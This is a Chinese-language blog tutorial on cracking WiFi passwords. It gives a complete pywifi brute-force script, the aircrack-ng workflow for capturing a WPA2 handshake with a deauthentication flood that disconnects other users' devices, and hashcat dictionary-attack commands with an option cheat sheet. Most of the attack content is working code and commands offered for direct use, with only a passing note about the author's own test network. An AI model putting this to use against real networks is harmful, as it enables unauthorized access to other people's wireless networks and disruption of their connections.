1、python、pywifi破解无线WiFi密码
1.1 pywifi模块下载
1.1.1运行python是在PyCharm 2020.3,
其他环境也可以 。PyCharm下载地址
1.1.2 pywifi模块介绍并安装:
pywifi提供了一个跨平台的Python模块,用于操作无线接口(支持Windows和Linux)之前已经安装过了,所以显示already satisfied,也可以根据该命令判断是否已安装成功
win +R 输入cmd 打开命令终端
在cmd中输入命令 pip install pywifi 和 pip install comtypes
1.1.3 用python破解wifi的代码
具体代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 |
import pywifi #引用pywifi库 from pywifi import const #获取连接状态的常量库 import time # 尝试链接,返回连接状态 def wifiConnect(ifaces,pwd): # 首先要断开无线网卡连接 ifaces.disconnect() #断开链接 time.sleep(1) #断开给1s的等待时间 # 获取wifi的连接状态 wifistatus = ifaces.status() # 判断是否网卡断开,断开后开始连接测试 if wifistatus == const.IFACE_DISCONNECTED: #判断wifi的链接的是否断开 # 创建新的wifi连接文件 profile = pywifi.Profile() # 要连接的wifi的名称 profile.ssid = 'mytest' #根据需要自己修改名称 # 网卡的开放状态 | auth - AP的认证算法 profile.auth = const.AUTH_ALG_OPEN # wifi的加密算法,一般wifi 加密算法时wps #选择wifi加密方式 akm - AP的密钥管理类型 profile.akm.append(const.AKM_TYPE_WPA2PSK) # 加密单元 /cipher - AP的密码类型 profile.cipher = const.CIPHER_TYPE_CCMP # 调用密码 (要匹配的密码) profile.key = pwd # 删除所有连接过的无线WiFi文件 ifaces.remove_all_network_profiles() # 加载新的连接文件 tep_profile = ifaces.add_network_profile(profile) ifaces.connect(tep_profile) #尝试新的链接 time.sleep(3) #连接给3s的等待时间 #WiFi连接成功返回 True if ifaces.status() == const.IFACE_CONNECTED: return True else: return False else: print("wifi连接,需要断开连接") # 读取密码本 def readPassword(): print("开始破解:") # 密码本路径(放在py文件的同一目录下) path ="wifi_password_test.txt" # 打开文件 f = open(path,"r") while True: try: # 一行一行读取 password = f.readline() password = password[:-1] bool = wifiConnect(ifaces,password) if bool: print("密码已成功破解:",password) print("wifi已连接!") break else: print("密码破解中,密码校对:",password," 失败") if not password: print('文件已读取完.') f.close() break except: # continue print("error") if __name__ == '__main__': # 抓取网卡接口 wifi = pywifi.PyWiFi() # 获取第一个无线网卡 ifaces = wifi.interfaces()[0] readPassword() |
1.1.3.1首先找到要破解无线WiFi
这里就用mytest的无线WiFi作为测试
1.1.3.2 运行python代码
注意:在代码中输入要破解的无线WiFi名称(自行更改),同时需要有密码本进行配对
1.1.3.3 成功找到密码并成功连接
这里就成功的获得到mytest 的无线WiFi密码 1234567890
1.2 python pywifi破解无线WiFi 小结
使用pywifi 破解简单理解就是密码配对,利用python 代码运行代替人工一个个尝试,同时在断开连接和尝试连接都需要一定等待时间,假设进行一次的配对代码运行需要3s,那么1min 也就配对20次。一小时就1200次,一天就28800次。虽然相比人手动连接密码尝试的效率要搞,但是如果对于密码本字典比较大,匹配的速度还是太慢了。接下我将尝试在kali的破解方法….
2. kali linux aircrack-ng 破解无线WiFi密码
2.1 kali安装
详细见kali2020.1安装过程详解(真的超详细) – 知乎
2.2 kali配置一些问题
2.2.1网络可以改成nat模式,同时尝试下在kali中是否可以上网
2.2.2 根据需要调整内存、处理器、硬盘的大小
2.2.3 USB的虚拟共享蓝牙设备勾选上
2.3 aircrack-ng安装使用
kali下面自带aircrack-ng的包
如果没有的话,在终端输入命令:apt-get install aircrack-ng
1 |
apt-<span class="hljs-keyword">get</span> install aircrack-ng |
可能遇到的问题:
1、没有网络下载不了,这就需要看下kali是否按照上边的网络适配器,配置为nat模式
2、没有进入root模式,这个可以输入命令 sudo su 进行操作
aircrack-ng的安装和kali的基本配置也基本完成,接下来准备硬件无线网卡
2.4 准备好一个可以监听的无线网卡
(芯片为3070或者1887L都支持Linux)
本人在某宝上随便找了型号RT5572的无线网卡,大概也就二十多块。
2.5 插上无线网卡并连接到kali
2.5.1 在虚拟机选择中选择虚拟机的菜单
2.5.2 点击里边的 可移动设备
查看对应的无线网卡,如果是有个钩就是成功与虚拟机连接了,没有则进行如下操作:
选中对应的无线网卡,选择 连接(断开与主机的连接)并弹出如下框框(也可能不弹出),只要在确认勾勾有没打上就行了
2.6 准备用aircrack-ng破解无线WiFi
2.6.1 确认无线网卡连接成功
输入命令:ifconfig 查看网卡信息
1 |
ifconfig |
成功会有多一个wlan0的信息,wlan0即无线网卡,注意,如果没有发现网卡可能是芯片不能被识别,建议选择网卡芯片为3037或rtl8187l的。
2.6.2 看到这个界面后输入airmon-ng start wlan0(启动网卡监听模式)
2.6.3 启动后ifconfig查看一下,如果网卡名变成了wlan0mon了,则表示操作成功。
2.6.4 扫描附近wifi 命令 airodump-ng wlan0mon
解析:
BSSID: MAC地址
PWR:信号强度,越小信号越强。
#Data:传输的数据, 数据越大对我们越有利, 大的夸张的可能在看电影
CH:信号频道
ESSID:wifi名称
2.6.5 监听获取握手包
命令:airodump-ng –bssid CC:34:29:4C:67:68 -c 11 -w /home/cheng/wifi/ wlan0mon
解析:
-c代表频道, 后面带的是频道
bssid: mac地址(物理地址)
-w代表目录(抓到的握手包放在这个目录下面)
wlan0mon: 网卡名称
如果一直跑着, 它的数据是不停刷新变化的…下边的就是当前连接着WiFi的设备,如果这是刚好有人进行重新链接WIFI操作,并监听到握手包就会出现红色框框内容
但是,如果一直没有人重新连接链接…那就一直等着??这时候应该做点什么了,利用deauth洪水攻击,取消目标路由和设备的无线连接,这时候设备重新连接时,会抓取他的握手包,然后用字典进行爆破。新开一个窗口观察
ps:如果无法获取包,攻击路由器进行断网重新连接
2.6.6 攻击路由器进行断网重新连接
输入命令aireplay-ng -0 10 -a CC:34:29:4C:67:68 -c 06:3C:A6:AB:45:1F wlan0mon
-0 后边接的是攻击的次数
-a 后边接的是攻击路由器MAC地址
-c 后边接的是已经连接上的设备MAC地址
这时候目标路由已经断网,如果抓到包记得ctrl+c关掉这里,然后设备重连,从而获得握手包。
ps:一定不要把次数设置太高,不然一直断网就成恶搞了。
2.6.7 查看wifi目录下的-01.cap文件
2.7 正式破解WiFI密码
输入:aircrack-ng ./-01.cap -w /home/cheng/mima1_ok.txt
解析:
-w后面接的是字典
-01.cap是握手包
这个速度还是非常快,580w 个密码大概也就7min。
如果成功就会出现KEY FOUND 的字样
2.8 kali aircrack-ng破解wifi小结
相比python的配对,kail的 aircrack-ng破解 速度更加的快1000w的密码,用时间大概15min,这比python 1min 20次配对的速度要快上XX倍(自己算哈…) 但是问题又来了…电脑的CPU烧起来了…风扇响起来了…(前边通过设置了虚拟机的处理器的核数,来增加虚拟机的运算速度,如果不希望有如下场景,可以将虚拟机的处理器的参数设置低点)
问题又来了:
我们可以在提高运算速度?1000w 15min我还是等不了!
我们可以不用CPU用GPU运算么,接下我尝试了hashcat?
3. Hashcat 破解无线WiFi密码
3.1 hashcat 安装:
hashcat是一款自称为世界上最快的密码破解工具。下载地址
3.1.1 打开hashcat的官网
打开网页可能会比较慢,耐心等待…
3.1.2 解压hashcat的压缩包
随意一个目录下
3.1.3 hashcat网站 -01.cap文件 转化为 .hc22000 文件
hashcat的转化为 .hc22000 网站地址
生成对应的文件:
3.1.4 准备 hashcat攻击
3.1.4.1常见的hashcat命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 |
hashcat常用命令 -m 指定哈希类型 -a 指定破解模式 -V 查看版本信息 -o 将输出结果储存到指定文件 --force 忽略警告 --show 仅显示破解的hash密码和对应的明文 --remove 从源文件中删除破解成功的hash --username 忽略hash表中的用户名 -b 测试计算机破解速度和相关硬件信息 -O 限制密码长度 -T 设置线程数 -r 使用规则文件 -1 自定义字符集 -1 0123asd ?1={0123asd} -2 自定义字符集 -2 0123asd ?2={0123asd} -3 自定义字符集 -3 0123asd ?3={0123asd} -i 启用增量破解模式 --increment-min 设置密码最小长度 --increment-max 设置密码最大长度 hashcat破解模式介绍 0 straight 字典破解 1 combination 将字典中密码进行组合 3 brute-force 使用指定掩码破解 6 Hybrid Wordlist + Mask 字典+掩码破解 7 Hybrid Mask + Wordlist 掩码+字典破解 hashcat集成的字符集 ?l 代表小写字母 ?u 代表大写字母 ?d 代表数字 ?s 代表特殊字符 ?a 代表大小写字母、数字以及特殊字符 ?b 0x00-0xff |
3.1.4.2 准备密码本攻击
跳到hashcat的解压后的文件目录下
输入以下命令:hashcat.exe -m 22000 “D:\PycharmProjects\pywifi\mycap\wifi1.hc22000” “D:\PycharmProjects\pywifi\rockyou.txt”
解析:
hashcat.exe 是hashcat是解压后的文件
-m 是指定哈希类型
“D:\PycharmProjects\pywifi\mycap\wifi1.hc22000” 是转化后.hc22000的路径
“D:\PycharmProjects\pywifi\rockyou.txt” 是密码本的路径
注意点:
可能出现的错误:
自版本 6.0.0 以来,hashcat 一直提供新的哈希模式 -m 22000 。在之前大家可能看到的-m 2500
要根据自己安装的hashcat 的版本进行确认对应的数值。 网站。或者hashcat.exe -h 自行查阅
3.2 正式hashcat攻击
来了开始烧GPU了…
3.3 hashcat 破解无线WIFi小结
这里我是换了一个wifi密码(不再是12341234),进行测试可惜在1400w的字典中并没有找到…但是也可以看到用hashcap 的速度更加的快.1400w用了只用了 2min30s。相比kali aircrack-ng 破解的速度快上X倍
3.4 速度对比
kali aircrack-ng 的破解方式 大概25min
hashcat 破解方式 大概2min30s